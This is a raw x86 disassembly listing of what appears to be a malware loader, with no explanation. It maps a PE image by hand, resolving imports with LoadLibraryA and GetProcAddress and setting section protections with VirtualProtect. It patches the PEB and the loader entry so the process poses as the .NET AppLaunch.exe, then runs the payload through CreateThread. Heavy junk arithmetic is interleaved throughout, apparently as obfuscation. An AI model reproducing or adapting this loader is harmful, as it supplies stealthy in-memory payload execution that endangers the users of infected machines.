bswap esi
dec eax
mov edx, 0x87
inc edx
imul edi
sbb ebx, 0x88
neg edx
dec esi
not eax
neg eax
or eax, 0x9c
or esi, 0x7d
sub edi, 0xc
or esi, 0xfb
or edx, 0x5e
sbb edx, 0x9f
ror esi, 0x9f
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x70], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x404fb2
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x404ee3
jmp 0x404fa4
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
cmp dword [eax + ecx*4], 0
je 0x404f9f
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x404f72
mov eax, dword [ebp - 0x84]
add eax, 2
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
imul esi, dword [ebp - 0x70], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x80]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x404efc
jmp 0x404fa4
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x404e9d
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40512f
mov dword [ebp - 0x94], 0x40
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x90], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40503b
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x40503b
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x40503b
mov dword [ebp - 0x94], 0x40
jmp 0x4050d6
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x405072
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x405072
mov dword [ebp - 0x94], 4
jmp 0x4050d1
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050a9
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x4050a9
mov dword [ebp - 0x94], 0x20
jmp 0x4050cc
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050c7
mov dword [ebp - 0x94], 2
jmp 0x4050cc
jmp 0x4050d1
jmp 0x4050d6
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x48]
imul edx, dword [ebp - 0x90], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
imul edi, dword [ebp - 0x90], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x8c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
jmp 0x404fbc
ror esi, 0x70
imul eax
rcl edx, 0xf2
rol edx, 0xa6
bswap edx
and edx, 0x59
mov esi, 0x12
ror ebx, 0xc5
add edx, 0x1c
imul esi
inc ebx
ror edi, 0x5c
bswap eax
not edx
not esi
imul eax
not edi
neg esi
imul eax
dec edx
or esi, 0xaf
mov edx, 0x59
rcl edi, 0x1e
sub ebx, 0x8a
mov edx, 0x3b
neg edi
mov esi, 0xf4
sub ebx, 0x37
dec esi
dec ebx
rol edx, 0xb8
neg edx
or edx, 0x46
or edx, 0xf7
inc edi
rcl esi, 0x82
dec esi
rol ebx, 0xdd
add esi, 0x1f
mov eax, 0x2d
neg ebx
dec ebx
neg edx
not eax
and esi, 0xc3
inc eax
dec ebx
and esi, 0xd5
dec esi
rcr eax, 0x62
inc esi
inc ebx
or ebx, 0xa1
inc esi
or ebx, 0xc3
sub eax, 0x5e
and edi, 0xdd
sbb ebx, 0x31
sbb eax, 0xcc
ror eax, 0x15
and edx, 0xb1
add ebx, 0xca
dec eax
not ebx
rcl esi, 0x46
not edi
ror ebx, 0xf0
or esi, 0x53
rcl edi, 0x24
not esi
rcr edx, 0x1c
dec edi
neg edx
add eax, 0xc1
imul edi
ror ebx, 0x7f
rol edi, 0x17
not esi
ror eax, 0xf4
imul ebx
rcr ebx, 0x79
mov edi, 0x79
rol edx, 0xc6
rcr edi, 0xc3
sbb edx, 0xeb
or ebx, 0x7f
sbb ebx, 0x87
sub ebx, 0x23
and ebx, 0x77
not ebx
or edx, 8
inc edx
inc edi
bswap edi
rcl edx, 0xf7
neg eax
neg esi
mov esi, 0x53
mov esi, 0x20
and edi, 0xf6
rcr eax, 0x6a
bswap edx
rcr esi, 0xd8
inc esi
add edi, 0xd6
bswap ebx
or edi, 0xa3
ror eax, 0xb2
neg esi
imul edx
neg esi
bswap edi
inc edi
not ebx
bswap ebx
ror esi, 0x97
rcr esi, 0x4a
sbb esi, 0xb5
rcl edi, 0xd1
rcl esi, 0xc8
inc eax
neg edx
imul edi
sbb edi, 0xd3
or ebx, 0x19
add edx, 0xad
bswap esi
imul edx
dec edi
imul ebx
add ebx, 0x1b
sbb edx, 0x42
neg eax
inc edi
bswap edi
not ebx
neg esi
rcl esi, 0x80
add esi, 0xd6
inc edi
bswap ebx
inc edx
mov ebx, 0x7d
rol esi, 0x3b
imul edx
imul edi
or edx, 0xa1
sub esi, 0x85
or edi, 0xce
sub edx, 0xe6
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xa4], eax
rcl ebx, 0x7d
ror eax, 0xd1
sub esi, 0x2a
inc ebx
rcl ebx, 0xce
bswap eax
sub ebx, 0x21
add esi, 0xdb
mov ebx, 0x38
neg ebx
not esi
add edi, 0x9e
inc esi
ror edx, 0x28
rcl edi, 0x30
add eax, 0x50
imul eax
rcr eax, 0xc3
bswap edi
rcr edi, 0xf5
dec edx
imul esi
add edi, 0x2c
not edx
rcl edi, 0x2a
dec eax
inc edx
dec esi
not edi
not esi
inc edi
ror eax, 0x66
rcr esi, 0x78
bswap edi
bswap edx
mov eax, 0x7e
rcl edi, 0xfc
inc edx
rol ebx, 0xd2
imul ebx
inc esi
bswap esi
dec edi
sbb esi, 0x96
bswap ebx
add edi, 0xaf
mov edx, 0xdf
rcl esi, 0x3f
imul edi
rcr edi, 0x68
mov esi, 0x88
imul edx
sub edi, 0x88
rcr edi, 0x80
imul edi
imul edi
and esi, 0x10
neg edx
bswap eax
dec ebx
rcl edx, 0x6f
dec edx
dec edi
neg ebx
rcr edi, 0xc6
not esi
and edx, 0xa3
imul eax
neg eax
dec ebx
dec ebx
sbb esi, 0x30
mov eax, 0xae
rol eax, 0x2e
imul edi
dec esi
mov edi, 0x3e
mov edx, 0xe0
ror eax, 0xdb
imul esi
imul ebx
and ebx, 0x3b
neg ebx
rcl esi, 0xd5
or edx, 0x8b
rcl esi, 0x5e
sbb edx, 0xfb
bswap eax
or ebx, 0x89
imul esi
bswap edi
inc edx
ror edx, 0x28
rol eax, 0xe1
neg esi
inc esi
imul ebx
rol edi, 0xe2
neg ebx
rcr edi, 0xa0
rcr esi, 0x9a
sbb edi, 0x8c
add edx, 0xc8
sbb ebx, 0x58
dec eax
not esi
not edx
or eax, 0x1a
or edi, 0xc2
or ebx, 0xaa
rol esi, 0xc3
bswap edx
and esi, 0x71
inc eax
rcr edi, 0xf7
or edi, 0x44
ror eax, 0x10
inc eax
inc eax
bswap edx
inc ebx
ror esi, 0xe
imul edi
bswap ebx
add edx, 0xa
imul ebx
sub ebx, 0x99
or ebx, 0x36
dec esi
dec esi
rol esi, 0x71
or edi, 0x60
or edi, 0x8e
inc edi
rcr ebx, 0xbd
or eax, 0xca
rcr edi, 0xb6
neg ebx
not edx
add edx, 0x21
or edi, 0x65
bswap eax
dec edi
dec ebx
bswap ebx
neg ebx
bswap ebx
imul edi
bswap esi
not esi
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x24
mov dword [ebp - 0xa8], eax
rcl ebx, 0x12
dec edi
sub esi, 0xfc
imul edi
rol edi, 0xb0
and ebx, 2
dec eax
or eax, 0x99
dec edi
dec eax
neg eax
inc edi
add eax, 0x3c
and edx, 0xab
or ebx, 0x20
imul eax
dec esi
mov ebx, 0xf2
not ebx
not ebx
and eax, 9
bswap edi
rol eax, 0x90
rcl eax, 0x3b
bswap eax
or edi, 0xc5
mov edx, 0x3d
and edx, 0x6f
and edi, 0xcf
rcl edx, 0x51
mov edx, 0xa8
sbb eax, 0xe4
sub ebx, 0xc3
rol eax, 0x96
imul edx
inc eax
not ebx
rcl eax, 0x91
neg ebx
or edx, 0x58
sbb edi, 0xe7
rcr eax, 0x99
ror esi, 0xc4
neg edi
sub esi, 0x3d
inc eax
dec ebx
dec esi
imul esi
or edi, 5
imul ebx
inc eax
bswap esi
not edi
not edx
imul ebx
bswap edi
imul edi
and edi, 0xae
or eax, 0x31
not edx
not edx
sbb eax, 0xcb
imul esi
rcl edx, 0x2b
sbb ebx, 0xd8
rol eax, 0x66
inc esi
dec ebx
mov esi, 0xe
inc eax
mov edi, 3
sub eax, 0xd0
neg edx
mov esi, 0xd3
bswap ebx
sbb esi, 0x54
mov eax, 0xe8
imul edi
dec eax
dec edi
mov ebx, 0x59
imul eax
rcr edi, 0xe0
sbb edi, 0x71
ror eax, 0x64
mov esi, 0x23
sub edi, 0x5d
or edx, 0xc2
sub esi, 0x3c
ror ebx, 0xcd
not edi
inc edx
rcr esi, 0x5c
sub edi, 0x73
neg esi
bswap edx
rcr edx, 0xc9
mov eax, 0xe6
neg eax
sbb edx, 0x5d
not eax
bswap edx
rcr edi, 0x27
rcr ebx, 0x27
imul eax
dec edi
and ebx, 0x34
and esi, 0x4e
sbb ebx, 0xf6
or edx, 0x25
sub esi, 0x4c
sub edx, 0xae
not ebx
dec esi
rol ebx, 0x91
ror edi, 0x17
neg edx
not eax
sbb esi, 0x4d
not ebx
dec edi
ror esi, 0x4c
ror edi, 0xae
not esi
rcl eax, 0xf7
sbb edx, 0xd4
neg eax
bswap esi
ror esi, 0x28
inc edi
rol esi, 0xc3
sub eax, 0xc7
or esi, 0x36
and ebx, 0x12
inc ebx
ror ebx, 0x1d
bswap edx
sub eax, 0x53
not edi
dec ebx
ror eax, 0x6e
imul eax
dec edi
imul eax
sub eax, 0x88
neg esi
not edx
rol eax, 0xed
or eax, 0x57
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x122]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040a120
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x123], al
test byte [ebp - 0x123], 1
je 0x405719
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a80
lea ecx, [ebp - 0x122]
mov eax, dword [ebp - 0xa8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x122]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
inc edx
sbb edx, 0x5e
sbb esi, 0x67
neg esi
not eax
dec edx
bswap ebx
rcl ebx, 0x11
neg eax
neg ebx
rol edx, 0x18
add ebx, 0xc1
rcr edx, 0x69
not esi
inc edx
bswap edx
imul edx
rol edi, 0xa9
mov ebx, 0xe0
neg ebx
neg ebx
add eax, 0xd3
or ebx, 0x31
sub eax, 0xda
dec eax
rol edx, 0xcf
inc esi
or edx, 0x88
bswap eax
sbb eax, 0xb7
rcr edi, 0xc7
sub eax, 0x9f
or edx, 0xef
inc esi
inc esi
bswap eax
dec ebx
bswap edx
sbb edi, 0x57
rcr ebx, 0x51
or edi, 0xfe
dec edi
imul eax
imul esi
imul edi
not eax
dec ebx
dec edi
rcl edi, 0xa0
sbb eax, 0xc8
rcr edi, 0xc1
imul esi
imul ebx
add esi, 0xf2
dec esi
rol edx, 0xc8
rcr eax, 0xb9
mov edi, 0x55
add edx, 0xbc
neg edi
dec esi
ror esi, 0xef
rcr esi, 0x95
neg edi
or edi, 0x2b
imul edi
and edx, 0xd7
neg ebx
bswap eax
ror eax, 0x57
or eax, 0xc4
rol esi, 0xc5
and eax, 0x9e
dec esi
sbb eax, 0x87
sbb esi, 0x47
dec edx
ror edi, 0x28
rol ebx, 0x10
not edi
inc eax
or ebx, 0x64
imul esi
ror edx, 0xd8
rcl esi, 0x2c
neg edx
bswap ebx
not esi
mov esi, 0xdb
or esi, 0x65
mov eax, 0x96
rcr ebx, 0x1d
bswap esi
bswap eax
inc edi
rol ebx, 0x61
and edx, 0x7e
or eax, 0x53
dec ebx
rcr esi, 0xfe
inc esi
dec esi
rcl edi, 0x93
rol esi, 0xf8
bswap edi
dec edx
add ebx, 7
ror eax, 0x1b
or ebx, 0xca
bswap edx
inc edx
sbb edx, 0xf5
inc edi
ror esi, 0x9d
imul eax
neg edi
neg eax
bswap ebx
ror eax, 0
or ebx, 0x57
sub edi, 0xfd
not edi
ror eax, 9
inc ebx
or edi, 0x12
not esi
and edi, 0x5a
ror edx, 0x7f
or esi, 5
dec edi
sbb eax, 0x9c
neg eax
inc esi
dec ebx
add edx, 0xe3
and edi, 0xdd
bswap edi
dec edi
rol edi, 0xae
not edx
inc edi
imul esi
mov esi, 0xb4
imul eax
mov esi, 0x75
dec edx
ror ebx, 0xc1
inc edx
not esi
ror ebx, 0x31
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x130], eax
test byte [ebp - 0x123], 1
je 0x405937
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a80
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
imul edi
ror ebx, 0x46
neg edi
sub edx, 0x7e
or edi, 0x20
and esi, 0x47
inc edi
and edx, 0xeb
inc eax
sbb edx, 0x11
rol ebx, 0xe1
dec edx
rcl esi, 0x8d
neg edx
sub edx, 0x4c
inc ebx
and ebx, 0x2f
or edx, 0x93
or esi, 0x4a
sub edx, 7
rcr eax, 0x2e
imul esi
sbb edx, 0x69
rcl eax, 0xb7
rcl edx, 0xa7
neg edx
or esi, 0x27
ror eax, 0xb0
not edx
or esi, 0x8b
inc esi
mov edi, 0x85
dec edi
sbb esi, 0x7c
rol edx, 0x9d
rol edx, 0x69
imul eax
ror edx, 0xc2
not edi
sub ebx, 0x9a
bswap edx
sub esi, 0x37
add edi, 0x84
inc ebx
and esi, 0x4d
bswap esi
imul edi
sub eax, 0xe9
add eax, 0xe8
mov edx, 0xb4
rol edi, 0x57
inc eax
sbb edi, 0xa7
mov edx, 0x2d
neg edi
rcr edx, 0xc4
sub eax, 0xf
or eax, 0xee
bswap esi
inc edi
rcr edx, 0x40
and esi, 0xc5
imul esi
sbb esi, 0xe2
imul esi
or edx, 0x52
sbb ebx, 0xdc
not edx
imul esi
not eax
rcr ebx, 0x56
rol eax, 0x45
ror esi, 0
dec eax
inc edx
bswap edi
neg edx
dec esi
and esi, 0x1a
add edi, 1
add edi, 1
ror edx, 0x2c
sbb esi, 0x2f
imul edi
imul edx
and eax, 0x92
add eax, 0xaf
bswap esi
rcr eax, 0xb6
imul edx
dec edx
sbb edx, 0x7f
add esi, 0x2a
mov edx, 0x99
bswap eax
mov eax, 0xe7
and esi, 0x6f
rcr eax, 0xa1
and esi, 0xa2
not ebx
bswap eax
inc ebx
bswap ebx
sbb esi, 0xec
imul esi
mov esi, 0xcb
mov eax, 0xb9
sub esi, 0x7d
rcr ebx, 0x54
bswap edi
sub edx, 0x7e
add eax, 0x8c
add esi, 0x58
rcl esi, 0x58
and esi, 0xb0
not edx
sub edi, 0x7e
rol eax, 0xba
imul edi
or eax, 0x62
rol ebx, 0x99
neg ebx
mov eax, 0x92
sub esi, 0xce
mov eax, 0x34
rcr ebx, 0x53
and edx, 0xcf
neg edi
imul edi
ror ebx, 0xe3
and ebx, 0x83
not ebx
bswap eax
rcl esi, 0x29
imul edi
dec ebx
sub esi, 0xc6
not ebx
bswap ebx
imul edi
bswap edi
add esi, 0x75
and edx, 6
bswap eax
inc eax
not edi
rol eax, 0xa8
inc edi
rcr ebx, 0xb6
not eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x144
pop esi
pop edi
pop ebx
pop ebp
ret